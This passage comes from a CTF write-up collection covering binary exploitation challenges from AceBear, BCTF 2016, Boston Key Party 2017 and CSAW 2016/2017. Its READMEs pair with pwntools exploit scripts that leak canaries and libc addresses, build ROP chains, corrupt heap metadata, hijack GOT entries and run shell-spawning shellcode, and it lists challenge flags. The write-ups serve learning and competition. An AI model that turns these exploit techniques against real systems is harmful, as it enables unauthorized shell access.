28 | mov_r2_r9_r1_r8_r0_r7_blx_r3 = 0x11064
29 |
30 | # get root privilege
31 | login('A'*4, 'a'*4)
32 | change_username('A'*32)
33 | change_username('root\n')
34 |
35 | # information leak
36 | echo()
37 | r.send('echo '.ljust(0x81, 'B'))
38 | r.recvuntil('B'*0x7c)
39 | canary = u32('\x00'+r.recvn(3))
40 | log.success('canary: ' + hex(canary))
41 |
42 | r.send('echo '.ljust(0x84, 'B'))
43 | r.recvuntil('B'*0x7f)
44 | stack = u32(r.recvn(4))
45 | log.success('stack: ' + hex(stack))
46 | rop_head = stack - 8
47 |
48 | rop1 = flat(
49 | pop_r3_pc,
50 | puts_plt,
51 | pop_r4_r5_r6_r7_r8_r9_r10_pc,
52 | 0xdeadbeef,
53 | 0xdeadbeef,
54 | 0xdeadbeef,
55 | strcmp_got,
56 | 0xdeadbeef,
57 | 0xdeadbeef,
58 | 0xdeadbeef,
59 | mov_r2_r9_r1_r8_r0_r7_blx_r3,
60 | 0xdeadbeef,
61 | 0xdeadbeef,
62 | 0xdeadbeef,
63 | 0,
64 | rop_head+84,
65 | 0x1000,
66 | 0xdeadbeef,
67 | pop_r3_pc,
68 | read_plt,
69 | mov_r2_r9_r1_r8_r0_r7_blx_r3,
70 | # rop_head+84:
71 | )
72 |
73 | r.sendafter('$ ', 'echo '.ljust(0x80, 'B')+p32(canary)+'B'*4+rop1)
74 | log.info('len(first payload): ' + hex(0x88+len(rop1)))
75 | r.sendafter('$ ', 'exit\n')
76 | libc_base = u32(r.recvn(4)) - libc.symbols['strcmp']
77 | log.success('libc base: ' + hex(libc_base))
78 | system = libc_base + libc.symbols['system']
79 | binsh = libc_base + next(libc.search('/bin/sh\x00'))
80 |
81 | rop2 = flat(
82 | 0xdeadbeef,
83 | 0xdeadbeef,
84 | 0xdeadbeef,
85 | binsh,
86 | 0xdeadbeef,
87 | 0xdeadbeef,
88 | 0xdeadbeef,
89 | pop_r3_pc,
90 | system,
91 | mov_r2_r9_r1_r8_r0_r7_blx_r3
92 | )
93 |
94 | r.send(rop2)
95 |
96 | r.interactive()
97 |
--------------------------------------------------------------------------------
/AceBear-Security-Contest/arm-exploit/libc-2.19.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/AceBear-Security-Contest/arm-exploit/libc-2.19.so
--------------------------------------------------------------------------------
/BCTF-2016/Ruin/README.md:
--------------------------------------------------------------------------------
1 | # Ruin
2 |
3 | ```
4 | Arch: arm-32-little
5 | RELRO: No RELRO
6 | Stack: Canary found
7 | NX: NX enabled
8 | PIE: No PIE (0x8000)
9 | ```
10 |
11 | ## Analysis
12 |
13 | We can conduct multiple operation after entering the hardcoded password, like edit secret and name. There is an obvious heap overflow in the secret update function.
14 |
15 | ```c
16 | void edit_secret()
17 | {
18 | if ( !secret )
19 | secret = (char *)malloc(8);
20 | printf("please input your secret:");
21 | fgets(secret, 24, stdin); /* heap overflow */
22 | }
23 | ```
24 |
25 | It worth noting that the only place we can call `free` directly is the `leave & return` function, which will exit the program after freeing 3 chunks.
26 |
27 | ## Exploit
28 |
29 | First, notice that the `secret` pointer is placed just after `key`, hence we can leak `secret` by fill all 8-bytes of `key` to get heap address.
30 | After that, with the heap overflow and following boundary checking vulnerability, I chose to utilize *house of force* to exploit the challenge.
31 |
32 | ```c
33 | printf("please input your name length:");
34 | size = read_num();
35 | /* Only checking upper bound, negative size is acceptable */
36 | if ( size > 32 )
37 | {
38 | puts("how could you get such a long name ?!");
39 | exit(1);
40 | }
41 | name = (char *)malloc(size);
42 | printf("enter your name:");
43 | fgets(name, size, stdin);
44 | ```
45 |
46 | Since the challenge didn't come with the libc of target machine, instead of getting chunk among GOT, I got chunk among dynamic section (this binary is *NO RELRO*) so that I can overwrite `strtab`.
47 | I chose `free` as target, whose offset in `strtab` is 0x79.
48 |
49 | ```
50 | Dynamic section at offset 0xe50 contains 26 entries:
51 | Tag Type Name/Value
52 | ...
53 | 0x6ffffef5 (GNU_HASH) 0x8228
54 | 0x00000005 (STRTAB) 0x83b4
55 | 0x00000006 (SYMTAB) 0x8294
56 | ...
57 | ```
58 |
59 |
60 | 0000000: 006c 6962 632e 736f 2e36 0065 7869 7400 .libc.so.6.exit.
61 | 0000010: 7374 726e 636d 7000 7075 7473 005f 5f73 strncmp.puts.__s
62 | 0000020: 7461 636b 5f63 686b 5f66 6169 6c00 6162 tack_chk_fail.ab
63 | 0000030: 6f72 7400 7374 6469 6e00 7072 696e 7466 ort.stdin.printf
64 | 0000040: 0066 6765 7473 0073 7464 6f75 7400 6d61 .fgets.stdout.ma
65 | 0000050: 6c6c 6f63 0066 7265 6164 0061 746f 6900 lloc.fread.atoi.
66 | 0000060: 7365 7462 7566 005f 5f6c 6962 635f 7374 setbuf.__libc_st
67 | 0000070: 6172 745f 6d61 696e 0066 7265 6500 6c64 art_main.free.ld
68 | ...
69 |
70 |
71 | After hijack the `strtab`, calling `leave & return` function to trigger `free`, which would be resolved to `system`. With `secret` filled with `"/bin/sh"` in advance, we can get a shell.
72 |
--------------------------------------------------------------------------------
/BCTF-2016/Ruin/exploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | from pwn import *
3 |
4 | r = remote('127.0.0.1', 4000)
5 |
6 | def update_key(key):
7 | r.sendlineafter('choice(1-4):', '1')
8 | r.sendafter('16-bit key:', key)
9 |
10 | def edit_secret(secret):
11 | r.sendlineafter('choice(1-4):', '2')
12 | r.sendafter('secret:', secret)
13 |
14 | def sign_name(length, name):
15 | r.sendlineafter('choice(1-4):', '3')
16 | r.sendlineafter('length:', str(length))
17 | r.sendlineafter('name:', name)
18 |
19 | def leave():
20 | r.sendlineafter('choice(1-4):', '4')
21 |
22 | dynamic_strtab = 0x10ea4
23 |
24 | # leak heap base
25 | r.sendafter('key:', 'a'*8)
26 | r.recvuntil('a'*8)
27 | heap_base = u32(r.recvuntil(' ')[:-1].ljust(4, '\x00')) - 0x8
28 | log.success('heap base: ' + hex(heap_base))
29 | nb = ((dynamic_strtab-0x8) - (heap_base+0x10)) - 0x8
30 | log.info('nb: ' + hex(nb))
31 |
32 | r.sendafter('key:', 'security')
33 |
34 | # trigger house of force
35 | edit_secret('/bin/sh\x00'.ljust(12, 'A')+p32(0xffffffff)+'system\x00')
36 | r.sendlineafter('choice(1-4):', '3')
37 | r.sendlineafter('length:', str(nb))
38 |
39 | # get chunk in dynamic section and overwrite strtab
40 | update_key(p32(0x5)+p32(heap_base+0x18-0x79)+p32(6)+p32(0x8294))
41 | # trigger free (system)
42 | leave()
43 |
44 | r.interactive()
45 |
--------------------------------------------------------------------------------
/BCTF-2016/Ruin/ruin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/BCTF-2016/Ruin/ruin
--------------------------------------------------------------------------------
/Boston-Key-Party-2017/hiddensc/README.md:
--------------------------------------------------------------------------------
1 | # hiddensc
2 |
3 | ```
4 | RELRO: Partial RELRO
5 | Stack: Canary found
6 | NX: NX enabled
7 | PIE: PIE enabled
8 | ```
9 |
10 | During the competition, I keep thinking how can trigger error such as `double free`, so that the `memory map` returned along with error message will contain the hidden address, but just can't find how to make it work ...
11 | After the competition, thanks to [this elaborate article](https://github.com/sebel1010/ctf-writeups/blob/master/2017/boston-key-party/hiddensc.md), I knew my original thought was wrong direction XD, and finally figured out this fantastic method ! So I record it here for memory .
12 |
13 | ## Analyze
14 |
15 | This challenge is a fork server, which `mmap` a page of memory to store shellcode, while the address is random .
16 |
17 | And the program provide two features:
18 |
19 | * `[a]lloc` can let us allocate some space and decide whether `free` it right away .
20 | * `[j]ump` can let us assign an address and jump to it .
21 |
22 | So if we know the random address, we can get shell immediately !
23 |
24 | ## Exploit
25 |
26 | > Before doing following work, be sure to do the setting :
27 | > `echo 1 | sudo tee /proc/sys/vm/overcommit_memory`
28 | > This will enable us to allocate huge amount of memory to do the exploit !
29 | > reference :
30 | > [Overcommit and OOM](http://www.win.tue.nl/~aeb/linux/lk/lk-9.html#ss9.6)
31 | > [overcommit document](https://www.kernel.org/doc/Documentation/vm/overcommit-accounting)
32 |
33 | By observation, when we allocating huge size of memory, the allocated space may locate at :
34 |
35 | * **before the page storing shellcode**
36 | * after the shellcode page and before code segment
37 | * between heap and some libraries
38 |
39 | ```
40 | Start Addr End Addr Size Offset objfile
41 | 0x651af4d0000 0x4e51af4d6000 0x480000006000 0x0
42 | 0x4e51af4d6000 0x4e51af4d7000 0x1000 0x0 /root/CTF/bostonKeyParty2017/hiddensc/poop.sc
43 | 0x5220d8d33000 0x5620d8d34000 0x40000001000 0x0
44 | 0x5620d8d34000 0x5620d8d36000 0x2000 0x0 /root/CTF/bostonKeyParty2017/hiddensc/hiddensc
45 | 0x5620d8f36000 0x5620d8f37000 0x1000 0x2000 /root/CTF/bostonKeyParty2017/hiddensc/hiddensc
46 | 0x5620d8f37000 0x5620d8f38000 0x1000 0x3000 /root/CTF/bostonKeyParty2017/hiddensc/hiddensc
47 | 0x5620d95e5000 0x5620d9606000 0x21000 0x0 [heap]
48 | 0x5777b8000000 0x5777b8021000 0x21000 0x0
49 | 0x5777b8021000 0x5777bc000000 0x3fdf000 0x0
50 | 0x5777bd48e000 0x7f77bd490000 0x280000002000 0x0
51 | 0x7f77bd490000 0x7f77bd49b000 0xb000 0x0 /root/glibc-2.19/64/lib/libnss_files-2.19.so
52 | 0x7f77bd49b000 0x7f77bd69a000 0x1ff000 0xb000 /root/glibc-2.19/64/lib/libnss_files-2.19.so
53 | ...
54 | ```
55 |
56 | **If before the page storing shellcode has biggest space**, in above case, 0x4e51af4d6000 bytes, we can use following method to get the random address !
57 |
58 | Keep `malloc` and `free` right away with increased size. When the `FAIL` message returned to us, increase size with smaller scale each time and keep doing the `malloc` and `free` work .
59 | After we can't increase the size anymore, we can deduce that the size of allocated space is the random address where the shellcode is located, at least not far away.
60 | This is because with the biggest possible allocated request, only the biggest continuous space can handle, and this is why the prerequisite exist !
61 |
62 | ```python
63 | for i in range(11, 2, -1):
64 | for j in range(16):
65 | size += (1 << 4*i)
66 | print 'try malloc({})'.format(hex(size))
67 | if not alloc(size):
68 | size -= (1 << 4*i)
69 | break
70 | ```
71 |
72 |
73 |
--------------------------------------------------------------------------------
/Boston-Key-Party-2017/hiddensc/exploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | from pwn import *
3 |
4 | r = remote('172.17.0.2', 8888)
5 | #r = remote('54.202.7.144', '6969')
6 |
7 | def alloc(size):
8 | r.sendafter('[a]lloc, [j]ump : ', 'a')
9 | r.sendafter('sz? ', str(size))
10 | ret_msg = r.recvn(4)
11 | if ret_msg == 'free':
12 | r.sendafter('? ', 'y')
13 | return True
14 | else:
15 | return False
16 |
17 | def jump(addr):
18 | r.sendafter('[a]lloc, [j]ump : ', 'j')
19 | r.sendafter('sz? ', str(addr))
20 |
21 | size = 0
22 | # first, add size 0x100000000000 each time
23 | # after FAIL, add 0x10000000000 each time
24 | # after FAIL, add 0x1000000000 each time
25 | # ...
26 | for i in range(11, 2, -1):
27 | for j in range(16):
28 | size += (1 << 4*i)
29 | print 'try malloc({})'.format(hex(size))
30 | if not alloc(size):
31 | size -= (1 << 4*i)
32 | break
33 |
34 | # The random shellcode is 0x11000 bytes far from the deduced address
35 | # I still don't know why Orz
36 | size += 0x11000
37 | print 'the shellcode is located at: {}'.format(hex(size))
38 |
39 | jump(size)
40 |
41 | r.interactive()
42 |
--------------------------------------------------------------------------------
/Boston-Key-Party-2017/hiddensc/hiddensc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/Boston-Key-Party-2017/hiddensc/hiddensc
--------------------------------------------------------------------------------
/Boston-Key-Party-2017/hiddensc/poop.sc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/Boston-Key-Party-2017/hiddensc/poop.sc
--------------------------------------------------------------------------------
/CSAW-2016-qual/README.md:
--------------------------------------------------------------------------------
1 | # CSAW_2016
2 |
--------------------------------------------------------------------------------
/CSAW-2016-qual/tutorial/README.md:
--------------------------------------------------------------------------------
1 | # tutorial
2 |
3 | 由於自己對於網路程式設計還沒有概念,而且執行檔在 local 跑不起來,不能用 gdb 觀察,所以看得蠻吃力的。後來感謝 bruce 學長的提點,才順利解出來XD
4 |
5 | ## 解題流程
6 |
7 | 程式一開始會建立 socket 連線,然後執行 `fork` 後進入 `menu(int socket)` 選單。
8 |
9 | * 選項 1 會輸出 `puts()` 的 address 扣掉 1280 的值,可以從這邊推出 libc address。
10 | * 選項 2 會接收長達 460 bytes 的輸入,並從輸入 buffer 開始輸出 324bytes。透過 IDA 得知該 buffer 的起點位在 `rbp-320` ,所以這裡可以 leak 出位於 `rbp-8` 的 canary。
11 |
12 | ```C
13 | write(socket_num, "Time to test your exploit...\n", 0x1DuLL);
14 | write(socket_num, ">", 1uLL);
15 | read(socket_num, &s, 460uLL);
16 | write(socket_num, &s, 324uLL);
17 | ```
18 |
19 | * 選項 3 離開程式。
20 |
21 | ----------
22 |
23 | 有了 libc address 和 canary 後就可以開始蓋 ROP chain 了。原本想直接蓋 `system` 開 shell,不知道為什麼失敗了,問了才知道由於前面的 `fork`,這邊直接叫 `system` 的話 file descriptor 會接不起來。所以我們要先用 `dup2()` 把 fd 設好才行。
24 | 由於前面呼叫 `read` 時已經把 rdi 設成我們要的值了,所以用 `dup2` 之前只要再把 rsi 設好即可。
25 |
26 | ```python
27 | chain = 'A'*312 + p64(canary) + 'B'*8 +
28 | p64(pop_rsi_r15_ret) + p64(0x0) + p64(0xdeadbeef) + p64(dup2) +
29 | p64(pop_rsi_r15_ret) + p64(0x1) + p64(0xdeadbeef) + p64(dup2) +
30 | p64(pop_rdi_ret) + p64(binsh) + p64(system)
31 | ```
32 |
33 | 把一開始 `accept` 的回傳值送給 `stdin` 和 `stdout` 之後 call `system` 就可以拿到 shell 了。
34 |
35 | ```
36 | FLAG{3ASY_R0P_R0P_P0P_P0P_YUM_YUM_CHUM_CHUM}
37 | ```
38 |
--------------------------------------------------------------------------------
/CSAW-2016-qual/tutorial/exploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | from pwn import *
3 |
4 | s = remote('pwn.chal.csaw.io', 8002)
5 | libc = ELF('/root/CSAW/tutorial/libc-2.19.so')
6 |
7 | puts_off = libc.symbols['puts']
8 | system_off = libc.symbols['system']
9 | dup2_off = libc.symbols['dup2']
10 | pop_rdi_ret = 0x4012e3
11 | pop_rsi_r15_ret = 0x4012e1
12 |
13 | s.recvuntil('>')
14 | s.sendline('1')
15 | s.recvuntil('Reference:')
16 | puts = int(s.recvuntil('>')[2:14], 16) + 1280
17 |
18 | base = puts - puts_off
19 | print 'libc base = ', hex(base)
20 |
21 | system = base + system_off
22 | dup2 = base + dup2_off
23 | binsh = base + 0x17c8c3
24 |
25 | s.sendline('2')
26 | s.recvuntil('>')
27 | s.sendline('A'*311)
28 | rst = s.recvuntil('-Tutorial-')
29 | canary = u64(rst[312:320])
30 | print 'canary = ', hex(canary)
31 |
32 | s.recvuntil('>')
33 | s.sendline('2')
34 | s.recvuntil('>')
35 | s.sendline('A'*312 + p64(canary) + 'B'*8 +
36 | p64(pop_rsi_r15_ret) + p64(0x0) + p64(0xdeadbeef) + p64(dup2) +
37 | p64(pop_rsi_r15_ret) + p64(0x1) + p64(0xdeadbeef) + p64(dup2) +
38 | p64(pop_rdi_ret) + p64(binsh) + p64(system))
39 |
40 | s.interactive()
41 |
--------------------------------------------------------------------------------
/CSAW-2017-qual/Auir/README.md:
--------------------------------------------------------------------------------
1 | # Auir
2 |
3 | > Arch: amd64-64-little
4 | > RELRO: Partial RELRO
5 | > Stack: No canary found
6 | > NX: NX enabled
7 | > PIE: No PIE (0x400000)
8 |
9 | I was shocked by the size of this binary, it has lots of code in a single function, and many mysterious variables and operations.
10 | But its behavior is actually not so complicated after taking times to observe it :D
11 |
12 | ## Analysis
13 |
14 | ```
15 | |-------------------------------|
16 | |AUIR AUIR AUIR AUIR AUIR AUIR A|
17 | |-------------------------------|
18 | [1]MAKE ZEALOTS
19 | [2]DESTROY ZEALOTS
20 | [3]FIX ZEALOTS
21 | [4]DISPLAY SKILLS
22 | [5]GO HOME
23 | |-------------------------------|
24 | >>
25 | ```
26 |
27 | * `MAKE ZEALOTS` will use `malloc` to allocate a chunk whose size is determined by us. Then we can send some input to store in the chunk.
28 | * `DESTROY ZEALOTS` can be used to `free` specific chunks allocated by first option.
29 | * `FIX ZEALOTS` will ask for a new size for an existing chunk, then we can send something up to `new size` bytes to it. This can be used to trigger heap overflow !
30 | * `DISPLAY SKILLS` prints the content of a specific chunk
31 |
32 | My plan is utilizing heap overflow to do fastbin corruption, and doing GOT hijacking to open shell.
33 |
34 | ## Exploit
35 |
36 | First I need to know libc address. I make two small chunks and free the first one, this can make an address points to somewhere inside `main_arena`, which located at libc, appears at the `fd` field of the first chunk. Then I can print the contents of this chunk to get the address.
37 |
38 | With libc address, I can try to get a fake chunk near GOT.
39 | First of all, I make to fastbin chunk, then free the second one. After that, using `FIX ZEALOTS` function on first chunk to overwrite the `fd` field of second chunk to the target address.
40 | Finally, I make two chunks to get out target fake chunk, which has following layout (the fake chunk is marked as **bold**):
41 |
42 |
43 | 0x604ff8: 0x0000000000000000
44 | 0x605000: 0x0000000000604df8
45 | 0x605008: 0x00007f7284463168 -> padding higher 6 bytes
46 | 0x605010: 0x00007f7284253870 -> I just overwrite this to original value
47 | 0x605018: 0x00007f7283bff5a0 -> _ZNSolsEi@plt
48 | 0x605020: 0x00007f7283ee1e70 -> setvbuf@plt
49 | 0x605028: 0x00007f7283b8d7e0 -> _ZNSt8ios_base4InitC1Ev@plt
50 | 0x605030: 0x00007f7283f69220 -> read@plt
51 | 0x605038: 0x00007f7283ef6130 -> malloc@plt
52 | 0x605040: 0x00007f7283e92740 -> __libc_start_main@plt
53 | 0x605048: 0x00007f7283eac280 -> __cxa_atexit@plt
54 | 0x605050: 0x0000000000400986 -> _ZNSt8ios_base4InitD1Ev@plt
55 | 0x605058: 0x00007f7283bff210 -> one_gadget
56 |
57 | notice that from 0x60505a to 0x60505f belongs to prev_size field of next chunk, hence we can still overwrite it.
58 |
59 |
60 | I overwrite most of the GOT entry of functions to its PLT entry, so that it can still work properly when being called subsequently.
61 | The crucial point is overwriting GOT entry of `_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_` to one gadget. Since this function will be called in `main`, where stack frame is much more *clear* to satisfy the constraints of one gadget.
62 |
63 | flag: `flag{W4rr10rs!_A1ur_4wa1ts_y0u!_M4rch_f0rth_and_t4k3_1t!}`
64 |
65 |
--------------------------------------------------------------------------------
/CSAW-2017-qual/Auir/auir:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/CSAW-2017-qual/Auir/auir
--------------------------------------------------------------------------------
/CSAW-2017-qual/Auir/exploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | from pwn import *
3 |
4 | #r = remote('127.0.0.1', 4000)
5 | r = remote('pwn.chal.csaw.io', 7713)
6 | libc = ELF('libc-2.23.so')
7 |
8 | def make(size, skill):
9 | r.sendlineafter('>>', '1')
10 | r.sendlineafter('>>', str(size))
11 | r.sendafter('>>', skill)
12 |
13 | def destroy(index):
14 | r.sendlineafter('>>', '2')
15 | r.sendlineafter('>>', str(index))
16 |
17 | def fix(index, size, skill):
18 | r.sendlineafter('>>', '3')
19 | r.sendlineafter('>>', str(index))
20 | r.sendlineafter('>>', str(size))
21 | r.sendafter('>>', skill)
22 |
23 | def display(index):
24 | r.sendlineafter('>>', '4')
25 | r.sendlineafter('>>', str(index))
26 |
27 | def go_home():
28 | r.sendlineafter('>>', '5')
29 |
30 | # leak libc address
31 | make(144-8, 'A'*4) # 0
32 | make(144-8, 'B'*4) # 1
33 | destroy(0)
34 | display(0)
35 | r.recvuntil('[*]SHOWING....\n')
36 | libc_base = u64(r.recvn(6) + '\x00'*2) - 0x3c4b78
37 | log.success('libc base: ' + hex(libc_base))
38 | one_gadget = libc_base + 0xf0274 # constraint: [rsp+0x50] == NULL
39 | destroy(1)
40 |
41 | # utilize fastbin corruption to do GOT hijack
42 | # _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc -> one_gadget
43 | make(96-8, 'C'*4) # 2
44 | make(96-8, 'D'*4) # 3
45 | destroy(3)
46 | fix(2, 128, 'C'*80 + p64(0) + p64(0x61) + p64(0x605000-6))
47 | make(96-8, 'E'*4) # 4
48 | make(96-8, 'F'*6 + p64(libc_base+0x3e1870)
49 | + p64(0x400910)
50 | + p64(0x400920)
51 | + p64(0x400930)
52 | + p64(0x400940)
53 | + p64(0x400950)
54 | + p64(0x400960)
55 | + p64(0x400970)
56 | + p64(0x400980)
57 | + p64(one_gadget)) # 5
58 |
59 | r.interactive()
60 |
--------------------------------------------------------------------------------
/CSAW-2017-qual/Auir/libc-2.23.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/CSAW-2017-qual/Auir/libc-2.23.so
--------------------------------------------------------------------------------
/CSAW-2017-qual/Pilot/README.md:
--------------------------------------------------------------------------------
1 | # Pilot
2 |
3 | > Arch: amd64-64-little
4 | > RELRO: Partial RELRO
5 | > Stack: No canary found
6 | > NX: NX disabled
7 | > PIE: No PIE (0x400000)
8 | > RWX: Has RWX segments
9 |
10 | ## Exploit
11 |
12 | The address printed after `[*]Location:` is address of input buffer. Besides, there is a stack overflow vulnerability.
13 | Thus we can write shellcode to buffer and do return to shellcode to get shell.
14 |
15 | flag: `flag{1nput_c00rd1nat3s_Strap_y0urse1v3s_1n_b0ys}`
16 |
--------------------------------------------------------------------------------
/CSAW-2017-qual/Pilot/exploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | from pwn import *
3 |
4 | #r = remote('127.0.0.1', 4000)
5 | r = remote('pwn.chal.csaw.io', 8464)
6 |
7 | context.arch = 'amd64'
8 |
9 | shellcode = asm("""
10 | mov rax, 59
11 | mov r8, 0x0068732f6e69622f
12 | push r8
13 | mov rdi, rsp
14 | xor rsi, rsi
15 | xor rdx, rdx
16 | syscall
17 | """)
18 |
19 | r.recvuntil('[*]Location:')
20 | buf = int(r.recvline(), 16)
21 | log.success('buf: ' + hex(buf))
22 |
23 | r.sendafter('[*]Command:', shellcode.ljust(40, 'A') + p64(buf))
24 |
25 | r.interactive()
26 |
--------------------------------------------------------------------------------
/CSAW-2017-qual/Pilot/pilot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/CSAW-2017-qual/Pilot/pilot
--------------------------------------------------------------------------------
/CSAW-2017-qual/README.md:
--------------------------------------------------------------------------------
1 | # CSAW-2017-qual
2 |
3 | This is the first CTF where I solved 4 PWN challenges :D
4 |
--------------------------------------------------------------------------------
/CSAW-2017-qual/SCV/README.md:
--------------------------------------------------------------------------------
1 | # SCV
2 |
3 | > Arch: amd64-64-little
4 | > RELRO: Partial RELRO
5 | > Stack: Canary found
6 | > NX: NX enabled
7 | > PIE: No PIE (0x400000)
8 |
9 | ## Analysis
10 |
11 | ```
12 | -------------------------
13 | [*]SCV GOOD TO GO,SIR....
14 | -------------------------
15 | 1.FEED SCV....
16 | 2.REVIEW THE FOOD....
17 | 3.MINE MINERALS....
18 | -------------------------
19 | >>
20 | ```
21 |
22 | * `FEED SCV` will ask us input something, which is long enough to overwrite return address
23 | * `REVIEW THE FOOD` will print our input using `puts`
24 | * `MINE MINERALS` to return from `main`
25 |
26 | ## Exploit
27 |
28 | My plan is building ROP chain to leak libc address from GOT, then returning back to `main`, doing ROP again. While this time, we can build `system("/bin/sh")` to open shell.
29 | Before we can do this, stack canary must be handled. I first overwrote the last byte of canary, which is definitely a null byte, then used `REVIEW THE FOOD` to print the content along with canary.
30 | With canary, we can do aforementioned operation to open a shell.
31 |
32 | flag: `flag{sCv_0n1y_C0st_50_M!n3ra1_tr3at_h!m_we11}`
33 |
--------------------------------------------------------------------------------
/CSAW-2017-qual/SCV/exploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | from pwn import *
3 |
4 | #r = remote('127.0.0.1', 4000)
5 | r = remote('pwn.chal.csaw.io', 3764)
6 | libc = ELF('libc-2.23.so')
7 |
8 | context.arch = 'amd64'
9 |
10 | puts_plt = 0x4008d0
11 | puts_got = 0x602018
12 | main = 0x400a96
13 | pop_rdi_ret = 0x400ea3
14 |
15 | def feed(food):
16 | r.sendlineafter('>>', '1')
17 | r.sendafter('>>', food)
18 |
19 | def review():
20 | r.sendlineafter('>>', '2')
21 |
22 | def mine():
23 | r.sendlineafter('>>', '3')
24 |
25 | # leak canary
26 | feed('A'*169)
27 | review()
28 | r.recvuntil('A'*169)
29 | canary = u64('\x00' + r.recvn(7))
30 | log.success('canary: ' + hex(canary))
31 |
32 | rop1 = flat(
33 | pop_rdi_ret,
34 | puts_got,
35 | puts_plt,
36 | main
37 | )
38 |
39 | # leak libc address
40 | feed('A'*168 + p64(canary) + 'A'*8 + rop1)
41 | mine()
42 | r.recvuntil('[*]BYE ~ TIME TO MINE MIENRALS...\n')
43 | libc_base = u64(r.recvn(6) + '\x00'*2) - libc.symbols['puts']
44 | log.success('libc base: ' + hex(libc_base))
45 | system = libc_base + libc.symbols['system']
46 | binsh = libc_base + next(libc.search('/bin/sh\x00'))
47 |
48 | rop2 = flat(
49 | pop_rdi_ret,
50 | binsh,
51 | system
52 | )
53 |
54 | feed('A'*168 + p64(canary) + 'A'*8 + rop2)
55 | mine()
56 |
57 | r.interactive()
58 |
--------------------------------------------------------------------------------
/CSAW-2017-qual/SCV/libc-2.23.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/CSAW-2017-qual/SCV/libc-2.23.so
--------------------------------------------------------------------------------
/CSAW-2017-qual/SCV/scv:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/CSAW-2017-qual/SCV/scv
--------------------------------------------------------------------------------
/CSAW-2017-qual/Zone/README.md:
--------------------------------------------------------------------------------
1 | # Zone
2 |
3 | > Arch: amd64-64-little
4 | > RELRO: Partial RELRO
5 | > Stack: Canary found
6 | > NX: NX enabled
7 | > PIE: No PIE (0x400000)
8 |
9 | ## Analysis
10 |
11 | ```
12 | Environment setup: 0x7ffe5ca30940
13 | 1) Allocate block
14 | 2) Delete block
15 | 3) Write to last block
16 | 4) Print last block
17 | 5) Exit
18 | ```
19 |
20 | This program implement a memory allocator. According to size user asked for, there are 0x40, 0x80, 0x100 and 0x200 blocks available.
21 | The available blocks are maintain in a pool, it records block address which will be allocated next for each size. This pool is located at stack, whose address is printed at beginning.
22 | For instance, next allocated 0x40 block will be `0x7fb09a2c8000` in this case.
23 |
24 | ```
25 | 0x7ffe5ca30940: 0x0000000000000040 0x00007fb09a2c8000
26 | 0x7ffe5ca30950: 0x00007fb09a2c8000 0x0000000000000080
27 | 0x7ffe5ca30960: 0x00007fb09a2c7000 0x00007fb09a2c7000
28 | 0x7ffe5ca30970: 0x0000000000000100 0x00007fb09a2c6000
29 | 0x7ffe5ca30980: 0x00007fb09a2c6000 0x0000000000000200
30 | 0x7ffe5ca30990: 0x00007fb09a2c5000 0x00007fb09a2c5000
31 | ```
32 |
33 | Each block itself has two attributes at header, `size` and `fd` pointer.
34 | `size` indicates the user-available space of this block. `fd` used to record address of next allocated block with the same size after this current block is allocated.
35 | For instance, following is the chain structure of 0x40 blocks.
36 |
37 |
38 | ----------------------------------------------
39 | 0x7fb09a2c8000: | 0x0000000000000040 0x00007fb09a2c8050 |---
40 | 0x7fb09a2c8010: | 0x0000000000000000 0x0000000000000000 | |
41 | 0x7fb09a2c8020: | 0x0000000000000000 0x0000000000000000 | |
42 | 0x7fb09a2c8030: | 0x0000000000000000 0x0000000000000000 | |
43 | 0x7fb09a2c8040: | 0x0000000000000000 0x0000000000000000 | |
44 | ---------------------------------------------- |
45 | _______________________________________________________|
46 | |
47 | ↓ ----------------------------------------------
48 | 0x7fb09a2c8050: | 0x0000000000000040 0x00007fb09a2c80a0 |---
49 | 0x7fb09a2c8060: | 0x0000000000000000 0x0000000000000000 | |
50 | 0x7fb09a2c8070: | 0x0000000000000000 0x0000000000000000 | |
51 | 0x7fb09a2c8080: | 0x0000000000000000 0x0000000000000000 | |
52 | 0x7fb09a2c8090: | 0x0000000000000000 0x0000000000000000 | |
53 | ---------------------------------------------- |
54 | _______________________________________________________|
55 | |
56 | ↓ ----------------------------------------------
57 | 0x7fb09a2c80a0: | 0x0000000000000040 0x00007fb09a2c80f0 |---
58 | 0x7fb09a2c80b0: | 0x0000000000000000 0x0000000000000000 | |
59 | ...
60 |
61 |
62 | * `Allocate block` will check whether there is available block for required size. If there is, the allocator first replaces this block with the address at `fd` field of this block to the head of list. Afterwards, the `fd` field of this block will be cleared, and this block will be returned.
63 | If there are no available block for this size anymore, it will print `Nope sorry can't allocate that` warning message.
64 |
65 | ```c
66 | victim = *(bin_ptr + 8); // fetch block from head of list
67 | if ( victim ) // if block is available
68 | {
69 | if ( *(victim + 8) )
